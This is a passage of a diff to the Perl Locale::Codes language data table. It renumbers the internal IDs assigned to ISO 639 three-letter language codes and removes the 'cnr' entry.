          ],
       q(zna) => [
-         q(7887),
+         q(7884),
          q(0),
          ],
       q(znd) => [
-         q(0483),
+         q(0482),
          q(0),
          ],
       q(zne) => [
-         q(7888),
+         q(7885),
          q(0),
          ],
       q(zng) => [
-         q(7889),
+         q(7886),
          q(0),
          ],
       q(znk) => [
-         q(7890),
+         q(7887),
          q(0),
          ],
       q(zns) => [
-         q(7891),
+         q(7888),
          q(0),
          ],
       q(zoc) => [
-         q(7892),
+         q(7889),
          q(0),
          ],
       q(zoh) => [
-         q(7893),
+         q(7890),
          q(0),
          ],
       q(zom) => [
-         q(7894),
+         q(7891),
          q(0),
          ],
       q(zoo) => [
-         q(7895),
+         q(7892),
          q(0),
          ],
       q(zoq) => [
-         q(7896),
+         q(7893),
          q(0),
          ],
       q(zor) => [
-         q(7897),
+         q(7894),
          q(0),
          ],
       q(zos) => [
-         q(7898),
+         q(7895),
          q(0),
          ],
       q(zpa) => [
-         q(7899),
+         q(7896),
          q(0),
          ],
       q(zpb) => [
-         q(7900),
+         q(7897),
          q(0),
          ],
       q(zpc) => [
-         q(7901),
+         q(7898),
          q(0),
          ],
       q(zpd) => [
-         q(7902),
+         q(7899),
          q(0),
          ],
       q(zpe) => [
-         q(7903),
+         q(7900),
          q(0),
          ],
       q(zpf) => [
-         q(7904),
+         q(7901),
          q(0),
          ],
       q(zpg) => [
-         q(7905),
+         q(7902),
          q(0),
          ],
       q(zph) => [
-         q(7906),
+         q(7903),
          q(0),
          ],
       q(zpi) => [
-         q(7907),
+         q(7904),
          q(0),
          ],
       q(zpj) => [
-         q(7908),
+         q(7905),
          q(0),
          ],
       q(zpk) => [
-         q(7909),
+         q(7906),
          q(0),
          ],
       q(zpl) => [
-         q(7910),
+         q(7907),
          q(0),
          ],
       q(zpm) => [
-         q(7911),
+         q(7908),
          q(0),
          ],
       q(zpn) => [
-         q(7912),
+         q(7909),
          q(0),
          ],
       q(zpo) => [
-         q(7913),
+         q(7910),
          q(0),
          ],
       q(zpp) => [
-         q(7914),
+         q(7911),
          q(0),
          ],
       q(zpq) => [
-         q(7915),
+         q(7912),
          q(0),
          ],
       q(zpr) => [
-         q(7916),
+         q(7913),
          q(0),
          ],
       q(zps) => [
-         q(7917),
+         q(7914),
          q(0),
          ],
       q(zpt) => [
-         q(7918),
+         q(7915),
          q(0),
          ],
       q(zpu) => [
-         q(7919),
+         q(7916),
          q(0),
          ],
       q(zpv) => [
-         q(7920),
+         q(7917),
          q(0),
          ],
       q(zpw) => [
-         q(7921),
+         q(7918),
          q(0),
          ],
       q(zpx) => [
-         q(7922),
+         q(7919),
          q(0),
          ],
       q(zpy) => [
-         q(7923),
+         q(7920),
          q(0),
          ],
       q(zpz) => [
-         q(7924),
+         q(7921),
          q(0),
          ],
       q(zqe) => [
-         q(7925),
+         q(7922),
          q(0),
          ],
       q(zra) => [
-         q(7926),
+         q(7923),
          q(0),
          ],
       q(zrg) => [
-         q(7927),
+         q(7924),
          q(0),
          ],
       q(zrn) => [
-         q(7928),
+         q(7925),
          q(0),
          ],
       q(zro) => [
-         q(7929),
+         q(7926),
          q(0),
          ],
       q(zrp) => [
-         q(7930),
+         q(7927),
          q(0),
          ],
       q(zrs) => [
-         q(7931),
+         q(7928),
          q(0),
          ],
       q(zsa) => [
-         q(7932),
+         q(7929),
          q(0),
          ],
       q(zsk) => [
-         q(7933),
+         q(7930),
          q(0),
          ],
       q(zsl) => [
-         q(7934),
+         q(7931),
          q(0),
          ],
       q(zsm) => [
-         q(7935),
+         q(7932),
          q(0),
          ],
       q(zsr) => [
-         q(7936),
+         q(7933),
          q(0),
          ],
       q(zsu) => [
-         q(7937),
+         q(7934),
          q(0),
          ],
       q(zte) => [
-         q(7938),
+         q(7935),
          q(0),
          ],
       q(ztg) => [
-         q(7939),
+         q(7936),
          q(0),
          ],
       q(ztl) => [
-         q(7940),
+         q(7937),
          q(0),
          ],
       q(ztm) => [
-         q(7941),
+         q(7938),
          q(0),
          ],
       q(ztn) => [
-         q(7942),
+         q(7939),
          q(0),
          ],
       q(ztp) => [
-         q(7943),
+         q(7940),
          q(0),
          ],
       q(ztq) => [
-         q(7944),
+         q(7941),
          q(0),
          ],
       q(zts) => [
-         q(7945),
+         q(7942),
          q(0),
          ],
       q(ztt) => [
-         q(7946),
+         q(7943),
          q(0),
          ],
       q(ztu) => [
-         q(7947),
+         q(7944),
          q(0),
          ],
       q(ztx) => [
-         q(7948),
+         q(7945),
          q(0),
          ],
       q(zty) => [
-         q(7949),
+         q(7946),
          q(0),
          ],
       q(zua) => [
-         q(7950),
+         q(7947),
          q(0),
          ],
       q(zuh) => [
-         q(7951),
+         q(7948),
          q(0),
          ],
       q(zul) => [
-         q(0484),
+         q(0483),
          q(0),
          ],
       q(zum) => [
-         q(7952),
+         q(7949),
          q(0),
          ],
       q(zun) => [
-         q(0485),
+         q(0484),
          q(0),
          ],
       q(zuy) => [
-         q(7953),
+         q(7950),
          q(0),
          ],
       q(zwa) => [
-         q(7954),
+         q(7951),
          q(0),
          ],
       q(zxx) => [
-         q(0486),
+         q(0485),
          q(0),
          ],
       q(zyb) => [
-         q(7955),
+         q(7952),
          q(0),
          ],
       q(zyg) => [
-         q(7956),
+         q(7953),
          q(0),
          ],
       q(zyj) => [
-         q(7957),
+         q(7954),
          q(0),
          ],
       q(zyn) => [
-         q(7958),
+         q(7955),
          q(0),
          ],
       q(zyp) => [
-         q(7959),
+         q(7956),
          q(0),
          ],
       q(zza) => [
-         q(0487),
+         q(0486),
          q(0),
          ],
       q(zzj) => [
-         q(7960),
+         q(7957),
          q(0),
          ],
       },
@@ -90387,7 +90309,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(bod) => [
-         q(0428),
+         q(0427),
          q(0),
          ],
       q(bos) => [
@@ -90451,7 +90373,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(ces) => [
-         q(0102),
+         q(0101),
          q(0),
          ],
       q(cha) => [
@@ -90510,160 +90432,156 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0089),
          q(0),
          ],
-      q(cnr) => [
-         q(0090),
-         q(0),
-         ],
       q(cop) => [
-         q(0091),
+         q(0090),
          q(0),
          ],
       q(cor) => [
-         q(0092),
+         q(0091),
          q(0),
          ],
       q(cos) => [
-         q(0093),
+         q(0092),
          q(0),
          ],
       q(cpe) => [
-         q(0094),
+         q(0093),
          q(0),
          ],
       q(cpf) => [
-         q(0095),
+         q(0094),
          q(0),
          ],
       q(cpp) => [
-         q(0096),
+         q(0095),
          q(0),
          ],
       q(cre) => [
-         q(0097),
+         q(0096),
          q(0),
          ],
       q(crh) => [
-         q(0098),
+         q(0097),
          q(0),
          ],
       q(crp) => [
-         q(0099),
+         q(0098),
          q(0),
          ],
       q(csb) => [
-         q(0100),
+         q(0099),
          q(0),
          ],
       q(cus) => [
-         q(0101),
+         q(0100),
          q(0),
          ],
       q(cym) => [
-         q(0467),
+         q(0466),
          q(0),
          ],
       q(dak) => [
-         q(0103),
+         q(0102),
          q(0),
          ],
       q(dan) => [
-         q(0104),
+         q(0103),
          q(0),
          ],
       q(dar) => [
-         q(0105),
+         q(0104),
          q(0),
          ],
       q(day) => [
-         q(0106),
+         q(0105),
          q(0),
          ],
       q(del) => [
-         q(0107),
+         q(0106),
          q(0),
          ],
       q(den) => [
-         q(0108),
+         q(0107),
          q(0),
          ],
       q(deu) => [
-         q(0151),
+         q(0150),
          q(0),
          ],
       q(dgr) => [
-         q(0109),
+         q(0108),
          q(0),
          ],
       q(din) => [
-         q(0110),
+         q(0109),
          q(0),
          ],
       q(div) => [
-         q(0111),
+         q(0110),
          q(0),
          ],
       q(doi) => [
-         q(0112),
+         q(0111),
          q(0),
          ],
       q(dra) => [
-         q(0113),
+         q(0112),
          q(0),
          ],
       q(dsb) => [
-         q(0114),
+         q(0113),
          q(0),
          ],
       q(dua) => [
-         q(0115),
+         q(0114),
          q(0),
          ],
       q(dum) => [
-         q(0116),
+         q(0115),
          q(0),
          ],
       q(dyu) => [
-         q(0118),
+         q(0117),
          q(0),
          ],
       q(dzo) => [
-         q(0119),
+         q(0118),
          q(0),
          ],
       q(efi) => [
-         q(0120),
+         q(0119),
          q(0),
          ],
       q(egy) => [
-         q(0121),
+         q(0120),
          q(0),
          ],
       q(eka) => [
-         q(0122),
+         q(0121),
          q(0),
          ],
       q(ell) => [
-         q(0165),
+         q(0164),
          q(0),
          ],
       q(elx) => [
-         q(0123),
+         q(0122),
          q(0),
          ],
       q(eng) => [
-         q(0124),
+         q(0123),
          q(0),
          ],
       q(enm) => [
-         q(0125),
+         q(0124),
          q(0),
          ],
       q(epo) => [
-         q(0126),
+         q(0125),
          q(0),
          ],
       q(est) => [
-         q(0127),
+         q(0126),
          q(0),
          ],
       q(eus) => [
@@ -90671,227 +90589,227 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(ewe) => [
-         q(0128),
+         q(0127),
          q(0),
          ],
       q(ewo) => [
-         q(0129),
+         q(0128),
          q(0),
          ],
       q(fan) => [
-         q(0130),
+         q(0129),
          q(0),
          ],
       q(fao) => [
-         q(0131),
+         q(0130),
          q(0),
          ],
       q(fas) => [
-         q(0343),
+         q(0342),
          q(0),
          ],
       q(fat) => [
-         q(0132),
+         q(0131),
          q(0),
          ],
       q(fij) => [
-         q(0133),
+         q(0132),
          q(0),
          ],
       q(fil) => [
-         q(0134),
+         q(0133),
          q(0),
          ],
       q(fin) => [
-         q(0135),
+         q(0134),
          q(0),
          ],
       q(fiu) => [
-         q(0136),
+         q(0135),
          q(0),
          ],
       q(fon) => [
-         q(0137),
+         q(0136),
          q(0),
          ],
       q(fra) => [
-         q(0138),
+         q(0137),
          q(0),
          ],
       q(frm) => [
-         q(0139),
+         q(0138),
          q(0),
          ],
       q(fro) => [
-         q(0140),
+         q(0139),
          q(0),
          ],
       q(frr) => [
-         q(0141),
+         q(0140),
          q(0),
          ],
       q(frs) => [
-         q(0142),
+         q(0141),
          q(0),
          ],
       q(fry) => [
-         q(0143),
+         q(0142),
          q(0),
          ],
       q(ful) => [
-         q(0144),
+         q(0143),
          q(0),
          ],
       q(fur) => [
-         q(0145),
+         q(0144),
          q(0),
          ],
       q(gaa) => [
-         q(0146),
+         q(0145),
          q(0),
          ],
       q(gay) => [
-         q(0147),
+         q(0146),
          q(0),
          ],
       q(gba) => [
-         q(0148),
+         q(0147),
          q(0),
          ],
       q(gem) => [
-         q(0149),
+         q(0148),
          q(0),
          ],
       q(gez) => [
-         q(0152),
+         q(0151),
          q(0),
          ],
       q(gil) => [
-         q(0153),
+         q(0152),
          q(0),
          ],
       q(gla) => [
-         q(0154),
+         q(0153),
          q(0),
          ],
       q(gle) => [
-         q(0155),
+         q(0154),
          q(0),
          ],
       q(glg) => [
-         q(0156),
+         q(0155),
          q(0),
          ],
       q(glv) => [
-         q(0157),
+         q(0156),
          q(0),
          ],
       q(gmh) => [
-         q(0158),
+         q(0157),
          q(0),
          ],
       q(goh) => [
-         q(0159),
+         q(0158),
          q(0),
          ],
       q(gon) => [
-         q(0160),
+         q(0159),
          q(0),
          ],
       q(gor) => [
-         q(0161),
+         q(0160),
          q(0),
          ],
       q(got) => [
-         q(0162),
+         q(0161),
          q(0),
          ],
       q(grb) => [
-         q(0163),
+         q(0162),
          q(0),
          ],
       q(grc) => [
-         q(0164),
+         q(0163),
          q(0),
          ],
       q(grn) => [
-         q(0166),
+         q(0165),
          q(0),
          ],
       q(gsw) => [
-         q(0167),
+         q(0166),
          q(0),
          ],
       q(guj) => [
-         q(0168),
+         q(0167),
          q(0),
          ],
       q(gwi) => [
-         q(0169),
+         q(0168),
          q(0),
          ],
       q(hai) => [
-         q(0170),
+         q(0169),
          q(0),
          ],
       q(hat) => [
-         q(0171),
+         q(0170),
          q(0),
          ],
       q(hau) => [
-         q(0172),
+         q(0171),
          q(0),
          ],
       q(haw) => [
-         q(0173),
+         q(0172),
          q(0),
          ],
       q(heb) => [
-         q(0174),
+         q(0173),
          q(0),
          ],
       q(her) => [
-         q(0175),
+         q(0174),
          q(0),
          ],
       q(hil) => [
-         q(0176),
+         q(0175),
          q(0),
          ],
       q(him) => [
-         q(0177),
+         q(0176),
          q(0),
          ],
       q(hin) => [
-         q(0178),
+         q(0177),
          q(0),
          ],
       q(hit) => [
-         q(0179),
+         q(0178),
          q(0),
          ],
       q(hmn) => [
-         q(0180),
+         q(0179),
          q(0),
          ],
       q(hmo) => [
-         q(0181),
+         q(0180),
          q(0),
          ],
       q(hrv) => [
-         q(0182),
+         q(0181),
          q(0),
          ],
       q(hsb) => [
-         q(0183),
+         q(0182),
          q(0),
          ],
       q(hun) => [
-         q(0184),
+         q(0183),
          q(0),
          ],
       q(hup) => [
-         q(0185),
+         q(0184),
          q(0),
          ],
       q(hye) => [
@@ -90899,451 +90817,451 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(iba) => [
-         q(0186),
+         q(0185),
          q(0),
          ],
       q(ibo) => [
-         q(0187),
+         q(0186),
          q(0),
          ],
       q(ido) => [
-         q(0189),
+         q(0188),
          q(0),
          ],
       q(iii) => [
-         q(0190),
+         q(0189),
          q(0),
          ],
       q(ijo) => [
-         q(0191),
+         q(0190),
          q(0),
          ],
       q(iku) => [
-         q(0192),
+         q(0191),
          q(0),
          ],
       q(ile) => [
-         q(0193),
+         q(0192),
          q(0),
          ],
       q(ilo) => [
-         q(0194),
+         q(0193),
          q(0),
          ],
       q(ina) => [
-         q(0195),
+         q(0194),
          q(0),
          ],
       q(inc) => [
-         q(0196),
+         q(0195),
          q(0),
          ],
       q(ind) => [
-         q(0197),
+         q(0196),
          q(0),
          ],
       q(ine) => [
-         q(0198),
+         q(0197),
          q(0),
          ],
       q(inh) => [
-         q(0199),
+         q(0198),
          q(0),
          ],
       q(ipk) => [
-         q(0200),
+         q(0199),
          q(0),
          ],
       q(ira) => [
-         q(0201),
+         q(0200),
          q(0),
          ],
       q(iro) => [
-         q(0202),
+         q(0201),
          q(0),
          ],
       q(isl) => [
-         q(0188),
+         q(0187),
          q(0),
          ],
       q(ita) => [
-         q(0203),
+         q(0202),
          q(0),
          ],
       q(jav) => [
-         q(0204),
+         q(0203),
          q(0),
          ],
       q(jbo) => [
-         q(0205),
+         q(0204),
          q(0),
          ],
       q(jpn) => [
-         q(0206),
+         q(0205),
          q(0),
          ],
       q(jpr) => [
-         q(0207),
+         q(0206),
          q(0),
          ],
       q(jrb) => [
-         q(0208),
+         q(0207),
          q(0),
          ],
       q(kaa) => [
-         q(0209),
+         q(0208),
          q(0),
          ],
       q(kab) => [
-         q(0210),
+         q(0209),
          q(0),
          ],
       q(kac) => [
-         q(0211),
+         q(0210),
          q(0),
          ],
       q(kal) => [
-         q(0212),
+         q(0211),
          q(0),
          ],
       q(kam) => [
-         q(0213),
+         q(0212),
          q(0),
          ],
       q(kan) => [
-         q(0214),
+         q(0213),
          q(0),
          ],
       q(kar) => [
-         q(0215),
+         q(0214),
          q(0),
          ],
       q(kas) => [
-         q(0216),
+         q(0215),
          q(0),
          ],
       q(kat) => [
-         q(0150),
+         q(0149),
          q(0),
          ],
       q(kau) => [
-         q(0217),
+         q(0216),
          q(0),
          ],
       q(kaw) => [
-         q(0218),
+         q(0217),
          q(0),
          ],
       q(kaz) => [
-         q(0219),
+         q(0218),
          q(0),
          ],
       q(kbd) => [
-         q(0220),
+         q(0219),
          q(0),
          ],
       q(kha) => [
-         q(0221),
+         q(0220),
          q(0),
          ],
       q(khi) => [
-         q(0222),
+         q(0221),
          q(0),
          ],
       q(khm) => [
-         q(0223),
+         q(0222),
          q(0),
          ],
       q(kho) => [
-         q(0224),
+         q(0223),
          q(0),
          ],
       q(kik) => [
-         q(0225),
+         q(0224),
          q(0),
          ],
       q(kin) => [
-         q(0226),
+         q(0225),
          q(0),
          ],
       q(kir) => [
-         q(0227),
+         q(0226),
          q(0),
          ],
       q(kmb) => [
-         q(0228),
+         q(0227),
          q(0),
          ],
       q(kok) => [
-         q(0229),
+         q(0228),
          q(0),
          ],
       q(kom) => [
-         q(0230),
+         q(0229),
          q(0),
          ],
       q(kon) => [
-         q(0231),
+         q(0230),
          q(0),
          ],
       q(kor) => [
-         q(0232),
+         q(0231),
          q(0),
          ],
       q(kos) => [
-         q(0233),
+         q(0232),
          q(0),
          ],
       q(kpe) => [
-         q(0234),
+         q(0233),
          q(0),
          ],
       q(krc) => [
-         q(0235),
+         q(0234),
          q(0),
          ],
       q(krl) => [
-         q(0236),
+         q(0235),
          q(0),
          ],
       q(kro) => [
-         q(0237),
+         q(0236),
          q(0),
          ],
       q(kru) => [
-         q(0238),
+         q(0237),
          q(0),
          ],
       q(kua) => [
-         q(0239),
+         q(0238),
          q(0),
          ],
       q(kum) => [
-         q(0240),
+         q(0239),
          q(0),
          ],
       q(kur) => [
-         q(0241),
+         q(0240),
          q(0),
          ],
       q(kut) => [
-         q(0242),
+         q(0241),
          q(0),
          ],
       q(lad) => [
-         q(0243),
+         q(0242),
          q(0),
          ],
       q(lah) => [
-         q(0244),
+         q(0243),
          q(0),
          ],
       q(lam) => [
-         q(0245),
+         q(0244),
          q(0),
          ],
       q(lao) => [
-         q(0246),
+         q(0245),
          q(0),
          ],
       q(lat) => [
-         q(0247),
+         q(0246),
          q(0),
          ],
       q(lav) => [
-         q(0248),
+         q(0247),
          q(0),
          ],
       q(lez) => [
-         q(0249),
+         q(0248),
          q(0),
          ],
       q(lim) => [
-         q(0250),
+         q(0249),
          q(0),
          ],
       q(lin) => [
-         q(0251),
+         q(0250),
          q(0),
          ],
       q(lit) => [
-         q(0252),
+         q(0251),
          q(0),
          ],
       q(lol) => [
-         q(0253),
+         q(0252),
          q(0),
          ],
       q(loz) => [
-         q(0254),
+         q(0253),
          q(0),
          ],
       q(ltz) => [
-         q(0255),
+         q(0254),
          q(0),
          ],
       q(lua) => [
-         q(0256),
+         q(0255),
          q(0),
          ],
       q(lub) => [
-         q(0257),
+         q(0256),
          q(0),
          ],
       q(lug) => [
-         q(0258),
+         q(0257),
          q(0),
          ],
       q(lui) => [
-         q(0259),
+         q(0258),
          q(0),
          ],
       q(lun) => [
-         q(0260),
+         q(0259),
          q(0),
          ],
       q(luo) => [
-         q(0261),
+         q(0260),
          q(0),
          ],
       q(lus) => [
-         q(0262),
+         q(0261),
          q(0),
          ],
       q(mad) => [
-         q(0264),
+         q(0263),
          q(0),
          ],
       q(mag) => [
-         q(0265),
+         q(0264),
          q(0),
          ],
       q(mah) => [
-         q(0266),
+         q(0265),
          q(0),
          ],
       q(mai) => [
-         q(0267),
+         q(0266),
          q(0),
          ],
       q(mak) => [
-         q(0268),
+         q(0267),
          q(0),
          ],
       q(mal) => [
-         q(0269),
+         q(0268),
          q(0),
          ],
       q(man) => [
-         q(0270),
+         q(0269),
          q(0),
          ],
       q(map) => [
-         q(0272),
+         q(0271),
          q(0),
          ],
       q(mar) => [
-         q(0273),
+         q(0272),
          q(0),
          ],
       q(mas) => [
-         q(0274),
+         q(0273),
          q(0),
          ],
       q(mdf) => [
-         q(0276),
+         q(0275),
          q(0),
          ],
       q(mdr) => [
-         q(0277),
+         q(0276),
          q(0),
          ],
       q(men) => [
-         q(0278),
+         q(0277),
          q(0),
          ],
       q(mga) => [
-         q(0279),
+         q(0278),
          q(0),
          ],
       q(mic) => [
-         q(0280),
+         q(0279),
          q(0),
          ],
       q(min) => [
-         q(0281),
+         q(0280),
          q(0),
          ],
       q(mis) => [
-         q(0282),
+         q(0281),
          q(0),
          ],
       q(mkd) => [
-         q(0263),
+         q(0262),
          q(0),
          ],
       q(mkh) => [
-         q(0283),
+         q(0282),
          q(0),
          ],
       q(mlg) => [
-         q(0284),
+         q(0283),
          q(0),
          ],
       q(mlt) => [
-         q(0285),
+         q(0284),
          q(0),
          ],
       q(mnc) => [
-         q(0286),
+         q(0285),
          q(0),
          ],
       q(mni) => [
-         q(0287),
+         q(0286),
          q(0),
          ],
       q(mno) => [
-         q(0288),
+         q(0287),
          q(0),
          ],
       q(moh) => [
-         q(0289),
+         q(0288),
          q(0),
          ],
       q(mon) => [
-         q(0290),
+         q(0289),
          q(0),
          ],
       q(mos) => [
-         q(0291),
+         q(0290),
          q(0),
          ],
       q(mri) => [
-         q(0271),
+         q(0270),
          q(0),
          ],
       q(msa) => [
-         q(0275),
+         q(0274),
          q(0),
          ],
       q(mul) => [
-         q(0292),
+         q(0291),
          q(0),
          ],
       q(mun) => [
-         q(0293),
+         q(0292),
          q(0),
          ],
       q(mus) => [
-         q(0294),
+         q(0293),
          q(0),
          ],
       q(mwl) => [
-         q(0295),
+         q(0294),
          q(0),
          ],
       q(mwr) => [
-         q(0296),
+         q(0295),
          q(0),
          ],
       q(mya) => [
@@ -91351,427 +91269,427 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(myn) => [
-         q(0297),
+         q(0296),
          q(0),
          ],
       q(myv) => [
-         q(0298),
+         q(0297),
          q(0),
          ],
       q(nah) => [
-         q(0299),
+         q(0298),
          q(0),
          ],
       q(nai) => [
-         q(0300),
+         q(0299),
          q(0),
          ],
       q(nap) => [
-         q(0301),
+         q(0300),
          q(0),
          ],
       q(nau) => [
-         q(0302),
+         q(0301),
          q(0),
          ],
       q(nav) => [
-         q(0303),
+         q(0302),
          q(0),
          ],
       q(nbl) => [
-         q(0304),
+         q(0303),
          q(0),
          ],
       q(nde) => [
-         q(0305),
+         q(0304),
          q(0),
          ],
       q(ndo) => [
-         q(0306),
+         q(0305),
          q(0),
          ],
       q(nds) => [
-         q(0307),
+         q(0306),
          q(0),
          ],
       q(nep) => [
-         q(0308),
+         q(0307),
          q(0),
          ],
       q(new) => [
-         q(0309),
+         q(0308),
          q(0),
          ],
       q(nia) => [
-         q(0310),
+         q(0309),
          q(0),
          ],
       q(nic) => [
-         q(0311),
+         q(0310),
          q(0),
          ],
       q(niu) => [
-         q(0312),
+         q(0311),
          q(0),
          ],
       q(nld) => [
-         q(0117),
+         q(0116),
          q(0),
          ],
       q(nno) => [
-         q(0313),
+         q(0312),
          q(0),
          ],
       q(nob) => [
-         q(0314),
+         q(0313),
          q(0),
          ],
       q(nog) => [
-         q(0315),
+         q(0314),
          q(0),
          ],
       q(non) => [
-         q(0316),
+         q(0315),
          q(0),
          ],
       q(nor) => [
-         q(0317),
+         q(0316),
          q(0),
          ],
       q(nqo) => [
-         q(0318),
+         q(0317),
          q(0),
          ],
       q(nso) => [
-         q(0319),
+         q(0318),
          q(0),
          ],
       q(nub) => [
-         q(0320),
+         q(0319),
          q(0),
          ],
       q(nwc) => [
-         q(0321),
+         q(0320),
          q(0),
          ],
       q(nya) => [
-         q(0322),
+         q(0321),
          q(0),
          ],
       q(nym) => [
-         q(0323),
+         q(0322),
          q(0),
          ],
       q(nyn) => [
-         q(0324),
+         q(0323),
          q(0),
          ],
       q(nyo) => [
-         q(0325),
+         q(0324),
          q(0),
          ],
       q(nzi) => [
-         q(0326),
+         q(0325),
          q(0),
          ],
       q(oci) => [
-         q(0327),
+         q(0326),
          q(0),
          ],
       q(oji) => [
-         q(0328),
+         q(0327),
          q(0),
          ],
       q(ori) => [
-         q(0329),
+         q(0328),
          q(0),
          ],
       q(orm) => [
-         q(0330),
+         q(0329),
          q(0),
          ],
       q(osa) => [
-         q(0331),
+         q(0330),
          q(0),
          ],
       q(oss) => [
-         q(0332),
+         q(0331),
          q(0),
          ],
       q(ota) => [
-         q(0333),
+         q(0332),
          q(0),
          ],
       q(oto) => [
-         q(0334),
+         q(0333),
          q(0),
          ],
       q(paa) => [
-         q(0335),
+         q(0334),
          q(0),
          ],
       q(pag) => [
-         q(0336),
+         q(0335),
          q(0),
          ],
       q(pal) => [
-         q(0337),
+         q(0336),
          q(0),
          ],
       q(pam) => [
-         q(0338),
+         q(0337),
          q(0),
          ],
       q(pan) => [
-         q(0339),
+         q(0338),
          q(0),
          ],
       q(pap) => [
-         q(0340),
+         q(0339),
          q(0),
          ],
       q(pau) => [
-         q(0341),
+         q(0340),
          q(0),
          ],
       q(peo) => [
-         q(0342),
+         q(0341),
          q(0),
          ],
       q(phi) => [
-         q(0344),
+         q(0343),
          q(0),
          ],
       q(phn) => [
-         q(0345),
+         q(0344),
          q(0),
          ],
       q(pli) => [
-         q(0346),
+         q(0345),
          q(0),
          ],
       q(pol) => [
-         q(0347),
+         q(0346),
          q(0),
          ],
       q(pon) => [
-         q(0348),
+         q(0347),
          q(0),
          ],
       q(por) => [
-         q(0349),
+         q(0348),
          q(0),
          ],
       q(pra) => [
-         q(0350),
+         q(0349),
          q(0),
          ],
       q(pro) => [
-         q(0351),
+         q(0350),
          q(0),
          ],
       q(pus) => [
-         q(0352),
+         q(0351),
          q(0),
          ],
       q(qtz) => [
-         q(0353),
+         q(0352),
          q(0),
          ],
       q(que) => [
-         q(0354),
+         q(0353),
          q(0),
          ],
       q(raj) => [
-         q(0355),
+         q(0354),
          q(0),
          ],
       q(rap) => [
-         q(0356),
+         q(0355),
          q(0),
          ],
       q(rar) => [
-         q(0357),
+         q(0356),
          q(0),
          ],
       q(roa) => [
-         q(0358),
+         q(0357),
          q(0),
          ],
       q(roh) => [
-         q(0359),
+         q(0358),
          q(0),
          ],
       q(rom) => [
-         q(0360),
+         q(0359),
          q(0),
          ],
       q(ron) => [
-         q(0361),
+         q(0360),
          q(0),
          ],
       q(run) => [
-         q(0362),
+         q(0361),
          q(0),
          ],
       q(rup) => [
-         q(0363),
+         q(0362),
          q(0),
          ],
       q(rus) => [
-         q(0364),
+         q(0363),
          q(0),
          ],
       q(sad) => [
-         q(0365),
+         q(0364),
          q(0),
          ],
       q(sag) => [
-         q(0366),
+         q(0365),
          q(0),
          ],
       q(sah) => [
-         q(0367),
+         q(0366),
          q(0),
          ],
       q(sai) => [
-         q(0368),
+         q(0367),
          q(0),
          ],
       q(sal) => [
-         q(0369),
+         q(0368),
          q(0),
          ],
       q(sam) => [
-         q(0370),
+         q(0369),
          q(0),
          ],
       q(san) => [
-         q(0371),
+         q(0370),
          q(0),
          ],
       q(sas) => [
-         q(0372),
+         q(0371),
          q(0),
          ],
       q(sat) => [
-         q(0373),
+         q(0372),
          q(0),
          ],
       q(scn) => [
-         q(0374),
+         q(0373),
          q(0),
          ],
       q(sco) => [
-         q(0375),
+         q(0374),
          q(0),
          ],
       q(sel) => [
-         q(0376),
+         q(0375),
          q(0),
          ],
       q(sem) => [
-         q(0377),
+         q(0376),
          q(0),
          ],
       q(sga) => [
-         q(0378),
+         q(0377),
          q(0),
          ],
       q(sgn) => [
-         q(0379),
+         q(0378),
          q(0),
          ],
       q(shn) => [
-         q(0380),
+         q(0379),
          q(0),
          ],
       q(sid) => [
-         q(0381),
+         q(0380),
          q(0),
          ],
       q(sin) => [
-         q(0382),
+         q(0381),
          q(0),
          ],
       q(sio) => [
-         q(0383),
+         q(0382),
          q(0),
          ],
       q(sit) => [
-         q(0384),
+         q(0383),
          q(0),
          ],
       q(sla) => [
-         q(0385),
+         q(0384),
          q(0),
          ],
       q(slk) => [
-         q(0386),
+         q(0385),
          q(0),
          ],
       q(slv) => [
-         q(0387),
+         q(0386),
          q(0),
          ],
       q(sma) => [
-         q(0388),
+         q(0387),
          q(0),
          ],
       q(sme) => [
-         q(0389),
+         q(0388),
          q(0),
          ],
       q(smi) => [
-         q(0390),
+         q(0389),
          q(0),
          ],
       q(smj) => [
-         q(0391),
+         q(0390),
          q(0),
          ],
       q(smn) => [
-         q(0392),
+         q(0391),
          q(0),
          ],
       q(smo) => [
-         q(0393),
+         q(0392),
          q(0),
          ],
       q(sms) => [
-         q(0394),
+         q(0393),
          q(0),
          ],
       q(sna) => [
-         q(0395),
+         q(0394),
          q(0),
          ],
       q(snd) => [
-         q(0396),
+         q(0395),
          q(0),
          ],
       q(snk) => [
-         q(0397),
+         q(0396),
          q(0),
          ],
       q(sog) => [
-         q(0398),
+         q(0397),
          q(0),
          ],
       q(som) => [
-         q(0399),
+         q(0398),
          q(0),
          ],
       q(son) => [
-         q(0400),
+         q(0399),
          q(0),
          ],
       q(sot) => [
-         q(0401),
+         q(0400),
          q(0),
          ],
       q(spa) => [
-         q(0402),
+         q(0401),
          q(0),
          ],
       q(sqi) => [
@@ -91779,315 +91697,315 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(srd) => [
-         q(0403),
+         q(0402),
          q(0),
          ],
       q(srn) => [
-         q(0404),
+         q(0403),
          q(0),
          ],
       q(srp) => [
-         q(0405),
+         q(0404),
          q(0),
          ],
       q(srr) => [
-         q(0406),
+         q(0405),
          q(0),
          ],
       q(ssa) => [
-         q(0407),
+         q(0406),
          q(0),
          ],
       q(ssw) => [
-         q(0408),
+         q(0407),
          q(0),
          ],
       q(suk) => [
-         q(0409),
+         q(0408),
          q(0),
          ],
       q(sun) => [
-         q(0410),
+         q(0409),
          q(0),
          ],
       q(sus) => [
-         q(0411),
+         q(0410),
          q(0),
          ],
       q(sux) => [
-         q(0412),
+         q(0411),
          q(0),
          ],
       q(swa) => [
-         q(0413),
+         q(0412),
          q(0),
          ],
       q(swe) => [
-         q(0414),
+         q(0413),
          q(0),
          ],
       q(syc) => [
-         q(0415),
+         q(0414),
          q(0),
          ],
       q(syr) => [
-         q(0416),
+         q(0415),
          q(0),
          ],
       q(tah) => [
-         q(0417),
+         q(0416),
          q(0),
          ],
       q(tai) => [
-         q(0418),
+         q(0417),
          q(0),
          ],
       q(tam) => [
-         q(0419),
+         q(0418),
          q(0),
          ],
       q(tat) => [
-         q(0420),
+         q(0419),
          q(0),
          ],
       q(tel) => [
-         q(0421),
+         q(0420),
          q(0),
          ],
       q(tem) => [
